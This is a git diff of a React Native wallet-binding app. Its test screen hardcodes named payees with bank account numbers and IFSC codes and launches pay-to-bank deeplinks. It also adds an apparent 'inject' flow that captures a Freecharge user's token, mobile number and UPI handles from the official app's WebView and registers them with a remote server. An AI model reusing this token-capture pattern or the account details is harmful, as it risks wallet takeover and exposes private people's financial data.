@@ -345,6 +351,7 @@ golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.38.0/go.mod h1:bSEAKrOT1W+VSu9TSCMtoGEOUcKxOKgl3LE5QEF/xVg=
|
||||
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
|
||||
golang.org/x/text v0.22.0/go.mod h1:YRoo4H8PVmsu+E3Ou7cqLVH8oXWIHVoX0jqUWALQhfY=
|
||||
golang.org/x/text v0.23.0/go.mod h1:/BLNzu4aZCJ1+kcD0DNRotWKage4q2rGVAg4o22unh4=
|
||||
golang.org/x/text v0.27.0/go.mod h1:1D28KMCvyooCX9hBiosv5Tz/+YLxj0j7XhWjpSUF7CU=
|
||||
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
|
||||
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
|
||||
|
||||
+1
-1
Submodule libs/rnwalletman updated: 5ee5c32f7c...820feb26fc
+1
-1
@@ -29,7 +29,7 @@
|
||||
"react-native-svg": "^14.1.0",
|
||||
"react-native-svg-transformer": "^1.5.3",
|
||||
"react-native-webview": "13.6.2",
|
||||
"rnwalletman": "./libs/rnwalletman/"
|
||||
"rnwalletman": "./libs/rnwalletman"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@babel/core": "^7.20.0",
|
||||
|
||||
@@ -907,6 +907,8 @@ export default class HomeScreen extends Component<any, HomeScreenState> {
|
||||
onRequestClose={close('showFreechargePersonalBind')}
|
||||
>
|
||||
<FreechargePersonalBind
|
||||
apiBaseUrl={Api.BASE_URL}
|
||||
userId={Api.instance.getUserId()}
|
||||
processString="Processing..."
|
||||
isDebug
|
||||
onSuccess={this.handleBindSuccess('showFreechargePersonalBind', WalletType.FREECHARGE_PERSONAL, 'Freecharge bound successfully') as any}
|
||||
|
||||
+340
-65
@@ -1,5 +1,14 @@
|
||||
import React, { useEffect, useRef } from 'react';
|
||||
import { Alert, StyleSheet, Text, TouchableOpacity, View } from 'react-native';
|
||||
import React, { useEffect, useMemo, useState } from 'react';
|
||||
import {
|
||||
Alert,
|
||||
ActivityIndicator,
|
||||
Modal,
|
||||
ScrollView,
|
||||
StyleSheet,
|
||||
Text,
|
||||
TouchableOpacity,
|
||||
View,
|
||||
} from 'react-native';
|
||||
import {
|
||||
onProxyMessage,
|
||||
proxySendMessage,
|
||||
@@ -8,89 +17,275 @@ import {
|
||||
openMobikwikPayToBank,
|
||||
openPhonePePayToBank,
|
||||
openFreechargePayToBank,
|
||||
buildFreechargePayToBankDeeplink,
|
||||
openAmazonPayPayToBank,
|
||||
FreechargePersonalBind,
|
||||
FreechargePersonalBindResult,
|
||||
WalletType,
|
||||
} from 'rnwalletman';
|
||||
import Api, { loadServerDomain, saveServerDomain } from '../services/api';
|
||||
|
||||
const PROD_API = 'https://aa.pfgame.org';
|
||||
|
||||
type PayProvider = 'paytm' | 'paytm2' | 'mobikwik' | 'phonepe' | 'freecharge' | 'amazonpay';
|
||||
|
||||
type Payee = {
|
||||
id: string;
|
||||
label: string;
|
||||
name: string;
|
||||
account: string;
|
||||
ifsc: string;
|
||||
amount: string;
|
||||
comment: string;
|
||||
};
|
||||
|
||||
const PAYEES: Payee[] = [
|
||||
{
|
||||
id: 'harsh-psib',
|
||||
label: 'Harshpreet · PSIB',
|
||||
name: 'Harshpreet singh',
|
||||
account: '01601000068180',
|
||||
ifsc: 'PSIB0000160',
|
||||
amount: '2',
|
||||
comment: '66666',
|
||||
},
|
||||
{
|
||||
id: 'harsh-cnrb',
|
||||
label: 'Harshpreet · CNRB',
|
||||
name: 'Harshpreet singh',
|
||||
account: '110140729840',
|
||||
ifsc: 'CNRB0016365',
|
||||
amount: '12',
|
||||
comment: 'payment',
|
||||
},
|
||||
{
|
||||
id: 'anmol-cnrb',
|
||||
label: 'Anmol · CNRB',
|
||||
name: 'Anmol',
|
||||
account: '5521101002938',
|
||||
ifsc: 'CNRB0005521',
|
||||
amount: '12',
|
||||
comment: 'transfer',
|
||||
},
|
||||
{
|
||||
id: 'fc-test',
|
||||
label: 'Freecharge test · PSIB',
|
||||
name: 'Test User',
|
||||
account: '8284919464',
|
||||
ifsc: 'PSIB0000160',
|
||||
amount: '2',
|
||||
comment: 'test transfer',
|
||||
},
|
||||
{
|
||||
id: 'paytm2-demo',
|
||||
label: 'Paytm deeplink demo',
|
||||
name: 'Harshpreet singh',
|
||||
account: '01601000068180',
|
||||
ifsc: 'PSIB0000160',
|
||||
amount: '3',
|
||||
comment: '1234',
|
||||
},
|
||||
];
|
||||
|
||||
const PAY_PROVIDERS: { id: PayProvider; label: string; color: string }[] = [
|
||||
{ id: 'paytm', label: 'Paytm', color: '#2ecc71' },
|
||||
{ id: 'paytm2', label: 'Paytm DL', color: '#27ae60' },
|
||||
{ id: 'mobikwik', label: 'Mobikwik', color: '#2ecc33' },
|
||||
{ id: 'phonepe', label: 'PhonePe', color: '#5a2d9c' },
|
||||
{ id: 'freecharge', label: 'Freecharge', color: '#5468db' },
|
||||
{ id: 'amazonpay', label: 'Amazon Pay', color: '#ff9900' },
|
||||
];
|
||||
|
||||
async function launchPay(provider: PayProvider, payee: Payee): Promise<boolean> {
|
||||
const { name, account, ifsc, amount, comment } = payee;
|
||||
switch (provider) {
|
||||
case 'paytm':
|
||||
return openPaytmPayToBank(name, account, ifsc, amount, comment);
|
||||
case 'paytm2':
|
||||
return openPaytmPayToBank2(name, account, ifsc, amount, comment);
|
||||
case 'mobikwik':
|
||||
return openMobikwikPayToBank(name, account, ifsc, amount);
|
||||
case 'phonepe':
|
||||
return openPhonePePayToBank(name, account, ifsc, amount, comment);
|
||||
case 'freecharge':
|
||||
return openFreechargePayToBank(name, account, ifsc, amount, comment);
|
||||
case 'amazonpay':
|
||||
return openAmazonPayPayToBank();
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export default function TestScreen() {
|
||||
const subRef = useRef<ReturnType<typeof onProxyMessage> | null>(null);
|
||||
const [selectedPayeeId, setSelectedPayeeId] = useState(PAYEES[0].id);
|
||||
const [selectedProvider, setSelectedProvider] = useState<PayProvider>('freecharge');
|
||||
const [showFcAuth, setShowFcAuth] = useState(false);
|
||||
const [apiBaseUrl, setApiBaseUrl] = useState('');
|
||||
const [fcAuthResult, setFcAuthResult] = useState<FreechargePersonalBindResult | null>(null);
|
||||
|
||||
const selectedPayee = useMemo(
|
||||
() => PAYEES.find(p => p.id === selectedPayeeId) ?? PAYEES[0],
|
||||
[selectedPayeeId],
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
subRef.current = onProxyMessage((msg) => {
|
||||
(async () => {
|
||||
await saveServerDomain('aa.pfgame.org', true);
|
||||
await loadServerDomain();
|
||||
setApiBaseUrl(Api.BASE_URL);
|
||||
})();
|
||||
const sub = onProxyMessage(msg => {
|
||||
if (msg.type === 'echo') {
|
||||
Alert.alert('Echo Response', JSON.stringify(msg.data));
|
||||
}
|
||||
});
|
||||
return () => {
|
||||
subRef.current?.remove();
|
||||
};
|
||||
return () => sub.remove();
|
||||
}, []);
|
||||
|
||||
const handlePay = async () => {
|
||||
try {
|
||||
if (selectedProvider === 'freecharge') {
|
||||
const deeplink = buildFreechargePayToBankDeeplink(
|
||||
selectedPayee.account,
|
||||
selectedPayee.ifsc,
|
||||
);
|
||||
console.log('[TestScreen] Freecharge deeplink:', deeplink);
|
||||
}
|
||||
const ok = await launchPay(selectedProvider, selectedPayee);
|
||||
if (!ok) {
|
||||
Alert.alert('Pay', 'Failed to open payment app');
|
||||
}
|
||||
} catch (e) {
|
||||
Alert.alert('Transfer Failed', String(e));
|
||||
}
|
||||
};
|
||||
|
||||
const handleEcho = () => {
|
||||
proxySendMessage({ type: 'echo', messageId: `echo_${Date.now()}`, data: { text: `hello_${Date.now()}` } });
|
||||
proxySendMessage({
|
||||
type: 'echo',
|
||||
messageId: `echo_${Date.now()}`,
|
||||
data: { text: `hello_${Date.now()}` },
|
||||
});
|
||||
};
|
||||
|
||||
const handlePaytmPayToBank = () => {
|
||||
openPaytmPayToBank('Harshpreet singh', '01601000068180', 'PSIB0000160', '2', '66666')
|
||||
.then(result => console.log('Paytm Pay To Bank', result ? 'Success' : 'Failed'))
|
||||
.catch(error => Alert.alert('Transfer Failed', String(error)));
|
||||
};
|
||||
|
||||
const handlePaytmPayToBank2 = () => {
|
||||
openPaytmPayToBank2('Harshpreet singh', '01601000068180', 'PSIB0000160', '3', '1234')
|
||||
.then((result: boolean) => console.log('Paytm Pay To Bank2', result ? 'Success' : 'Failed'))
|
||||
.catch((error: unknown) => Alert.alert('Transfer Failed', String(error)));
|
||||
};
|
||||
|
||||
const handleMobikwikPayToBank = () => {
|
||||
openMobikwikPayToBank('Anmol', '5521101002938', 'CNRB0005521', '12')
|
||||
.then(result => console.log('Mobikwik Pay To Bank', result ? 'Success' : 'Failed'))
|
||||
.catch(err => Alert.alert('Error', String(err)));
|
||||
};
|
||||
|
||||
const handlePhonePePayToBank = () => {
|
||||
openPhonePePayToBank('Harshpreet singh', '110140729840', 'CNRB0016365', '12', 'payment')
|
||||
.then((ok: boolean) => console.log('PhonePe Pay To Bank', ok ? 'opened' : 'failed'))
|
||||
.catch((err: unknown) => Alert.alert('Error', String(err)));
|
||||
};
|
||||
|
||||
const handleFreechargePayToBank = () => {
|
||||
openFreechargePayToBank('', '8284919464', 'PSIB0000160', '2', 'test transfer')
|
||||
.then((result: boolean) => console.log('Freecharge Pay To Bank', result ? 'Success' : 'Failed'))
|
||||
.catch((err: unknown) => Alert.alert('Error', String(err)));
|
||||
};
|
||||
|
||||
const handleAmazonPayPayToBank = () => {
|
||||
openAmazonPayPayToBank()
|
||||
.then((result: boolean) => console.log('Amazon Pay To Bank', result ? 'Success' : 'Failed'))
|
||||
.catch((err: unknown) => Alert.alert('Error', String(err)));
|
||||
const handleFcAuthSuccess = async (result: FreechargePersonalBindResult) => {
|
||||
setFcAuthResult(result);
|
||||
setShowFcAuth(false);
|
||||
try {
|
||||
await Api.instance.register(
|
||||
WalletType.FREECHARGE_PERSONAL,
|
||||
{
|
||||
type: WalletType.FREECHARGE_PERSONAL,
|
||||
success: true,
|
||||
mobile: result.mobile,
|
||||
token: result.token,
|
||||
userId: result.userId || result.imsId,
|
||||
extend: { appVersion: result.appVersion || '' },
|
||||
},
|
||||
);
|
||||
Alert.alert('Register OK', 'Freecharge 钱包已注册到服务端');
|
||||
} catch (e) {
|
||||
Alert.alert('Register failed', String(e));
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<View style={styles.container}>
|
||||
<Text style={styles.sectionTitle}>Test Tools</Text>
|
||||
<ScrollView style={styles.container} contentContainerStyle={styles.content}>
|
||||
<Text style={styles.serverUrl}>Server: {apiBaseUrl || PROD_API}</Text>
|
||||
|
||||
<TouchableOpacity style={[styles.btn, { backgroundColor: '#2ecc71' }]} onPress={handlePaytmPayToBank}>
|
||||
<Text style={styles.btnText}>Paytm Pay To Bank Test</Text>
|
||||
<Text style={styles.sectionTitle}>收款人</Text>
|
||||
{PAYEES.map(payee => {
|
||||
const active = payee.id === selectedPayeeId;
|
||||
return (
|
||||
<TouchableOpacity
|
||||
key={payee.id}
|
||||
style={[styles.payeeCard, active && styles.payeeCardActive]}
|
||||
onPress={() => setSelectedPayeeId(payee.id)}
|
||||
>
|
||||
<Text style={[styles.payeeLabel, active && styles.payeeLabelActive]}>{payee.label}</Text>
|
||||
<Text style={styles.payeeMeta}>
|
||||
{payee.name} · {payee.account} · {payee.ifsc}
|
||||
</Text>
|
||||
<Text style={styles.payeeMeta}>₹{payee.amount} · {payee.comment}</Text>
|
||||
</TouchableOpacity>
|
||||
);
|
||||
})}
|
||||
|
||||
<Text style={styles.sectionTitle}>支付方式</Text>
|
||||
<View style={styles.providerRow}>
|
||||
{PAY_PROVIDERS.map(p => {
|
||||
const active = p.id === selectedProvider;
|
||||
return (
|
||||
<TouchableOpacity
|
||||
key={p.id}
|
||||
style={[styles.providerChip, active && { backgroundColor: p.color, borderColor: p.color }]}
|
||||
onPress={() => setSelectedProvider(p.id)}
|
||||
>
|
||||
<Text style={[styles.providerChipText, active && styles.providerChipTextActive]}>
|
||||
{p.label}
|
||||
</Text>
|
||||
</TouchableOpacity>
|
||||
);
|
||||
})}
|
||||
</View>
|
||||
|
||||
<TouchableOpacity style={[styles.btn, { backgroundColor: '#e74c3c' }]} onPress={handlePay}>
|
||||
<Text style={styles.btnText}>
|
||||
付款 · {PAY_PROVIDERS.find(p => p.id === selectedProvider)?.label} → {selectedPayee.label}
|
||||
</Text>
|
||||
</TouchableOpacity>
|
||||
<TouchableOpacity style={[styles.btn, { backgroundColor: '#27ae60' }]} onPress={handlePaytmPayToBank2}>
|
||||
<Text style={styles.btnText}>Paytm Pay To Bank2 (deeplink)</Text>
|
||||
</TouchableOpacity>
|
||||
<TouchableOpacity style={[styles.btn, { backgroundColor: '#2ecc33' }]} onPress={handleMobikwikPayToBank}>
|
||||
<Text style={styles.btnText}>Mobikwik Pay To Bank Test</Text>
|
||||
</TouchableOpacity>
|
||||
<TouchableOpacity style={[styles.btn, { backgroundColor: '#5a2d9c' }]} onPress={handlePhonePePayToBank}>
|
||||
<Text style={styles.btnText}>PhonePe Pay To Bank Test</Text>
|
||||
</TouchableOpacity>
|
||||
<TouchableOpacity style={[styles.btn, { backgroundColor: '#5468db' }]} onPress={handleFreechargePayToBank}>
|
||||
<Text style={styles.btnText}>Freecharge Pay To Bank Test</Text>
|
||||
</TouchableOpacity>
|
||||
<TouchableOpacity style={[styles.btn, { backgroundColor: '#ff9900' }]} onPress={handleAmazonPayPayToBank}>
|
||||
<Text style={styles.btnText}>Amazon Pay To Bank Test</Text>
|
||||
|
||||
<Text style={styles.sectionTitle}>Freecharge Inject 授权</Text>
|
||||
<TouchableOpacity
|
||||
style={[styles.btn, { backgroundColor: '#5468db' }]}
|
||||
onPress={() => setShowFcAuth(true)}
|
||||
>
|
||||
<Text style={styles.btnText}>打开 Inject 授权(官方 App WebView)</Text>
|
||||
</TouchableOpacity>
|
||||
{fcAuthResult ? (
|
||||
<View style={styles.resultBox}>
|
||||
<Text style={styles.resultTitle}>最近授权</Text>
|
||||
<Text style={styles.resultText}>mobile: {fcAuthResult.mobile}</Text>
|
||||
<Text style={styles.resultText}>imsId: {fcAuthResult.imsId}</Text>
|
||||
<Text style={styles.resultText}>
|
||||
upi: {(fcAuthResult.vpas || []).map(v => v.vpa).join(', ')}
|
||||
</Text>
|
||||
</View>
|
||||
) : null}
|
||||
|
||||
<TouchableOpacity style={[styles.btn, { backgroundColor: '#3498db' }]} onPress={handleEcho}>
|
||||
<Text style={styles.btnText}>Echo Test</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
|
||||
<Modal
|
||||
visible={showFcAuth}
|
||||
transparent
|
||||
animationType="fade"
|
||||
statusBarTranslucent
|
||||
onRequestClose={() => setShowFcAuth(false)}
|
||||
>
|
||||
<View style={styles.modalRoot}>
|
||||
{apiBaseUrl ? (
|
||||
<FreechargePersonalBind
|
||||
apiBaseUrl={apiBaseUrl}
|
||||
isDebug
|
||||
userId={Api.instance.getUserId()}
|
||||
processString="Waiting for Freecharge authorization…"
|
||||
onClose={() => setShowFcAuth(false)}
|
||||
onSuccess={handleFcAuthSuccess}
|
||||
onError={msg => {
|
||||
Alert.alert('Freecharge Auth Failed', msg);
|
||||
}}
|
||||
/>
|
||||
) : (
|
||||
<View style={styles.loadingBox}>
|
||||
<ActivityIndicator size="large" color="#fff" />
|
||||
<Text style={[styles.btnText, { marginTop: 12 }]}>Loading server URL…</Text>
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
</Modal>
|
||||
</ScrollView>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -98,17 +293,71 @@ const styles = StyleSheet.create({
|
||||
container: {
|
||||
flex: 1,
|
||||
backgroundColor: '#f0f0f0',
|
||||
padding: 20,
|
||||
alignItems: 'center',
|
||||
},
|
||||
content: {
|
||||
padding: 16,
|
||||
paddingBottom: 40,
|
||||
},
|
||||
serverUrl: {
|
||||
fontSize: 12,
|
||||
color: '#1565c0',
|
||||
marginBottom: 8,
|
||||
fontWeight: '600',
|
||||
},
|
||||
sectionTitle: {
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
color: '#333',
|
||||
alignSelf: 'flex-start',
|
||||
marginBottom: 16,
|
||||
marginBottom: 10,
|
||||
marginTop: 8,
|
||||
},
|
||||
payeeCard: {
|
||||
backgroundColor: '#fff',
|
||||
borderRadius: 10,
|
||||
padding: 14,
|
||||
marginBottom: 8,
|
||||
borderWidth: 2,
|
||||
borderColor: 'transparent',
|
||||
},
|
||||
payeeCardActive: {
|
||||
borderColor: '#3498db',
|
||||
backgroundColor: '#eef6ff',
|
||||
},
|
||||
payeeLabel: {
|
||||
fontSize: 15,
|
||||
fontWeight: '600',
|
||||
color: '#333',
|
||||
},
|
||||
payeeLabelActive: {
|
||||
color: '#1565c0',
|
||||
},
|
||||
payeeMeta: {
|
||||
fontSize: 12,
|
||||
color: '#666',
|
||||
marginTop: 4,
|
||||
},
|
||||
providerRow: {
|
||||
flexDirection: 'row',
|
||||
flexWrap: 'wrap',
|
||||
gap: 8,
|
||||
marginBottom: 16,
|
||||
},
|
||||
providerChip: {
|
||||
paddingHorizontal: 12,
|
||||
paddingVertical: 8,
|
||||
borderRadius: 20,
|
||||
borderWidth: 1,
|
||||
borderColor: '#ccc',
|
||||
backgroundColor: '#fff',
|
||||
},
|
||||
providerChipText: {
|
||||
fontSize: 13,
|
||||
color: '#444',
|
||||
fontWeight: '500',
|
||||
},
|
||||
providerChipTextActive: {
|
||||
color: '#fff',
|
||||
},
|
||||
btn: {
|
||||
width: '100%',
|
||||
paddingVertical: 14,
|
||||
@@ -120,5 +369,31 @@ const styles = StyleSheet.create({
|
||||
color: '#fff',
|
||||
fontSize: 15,
|
||||
fontWeight: '600',
|
||||
textAlign: 'center',
|
||||
},
|
||||
resultBox: {
|
||||
backgroundColor: '#fff',
|
||||
borderRadius: 10,
|
||||
padding: 12,
|
||||
marginBottom: 12,
|
||||
},
|
||||
resultTitle: {
|
||||
fontWeight: '600',
|
||||
marginBottom: 6,
|
||||
color: '#333',
|
||||
},
|
||||
resultText: {
|
||||
fontSize: 12,
|
||||
color: '#555',
|
||||
marginBottom: 2,
|
||||
},
|
||||
loadingBox: {
|
||||
flex: 1,
|
||||
backgroundColor: 'rgba(0,0,0,0.7)',
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
modalRoot: {
|
||||
flex: 1,
|
||||
},
|
||||
});
|
||||
|
||||
+1
-1
Submodule servers/walletman updated: b525ae7b49...900bb85f5d
Reference in New Issue
Block a user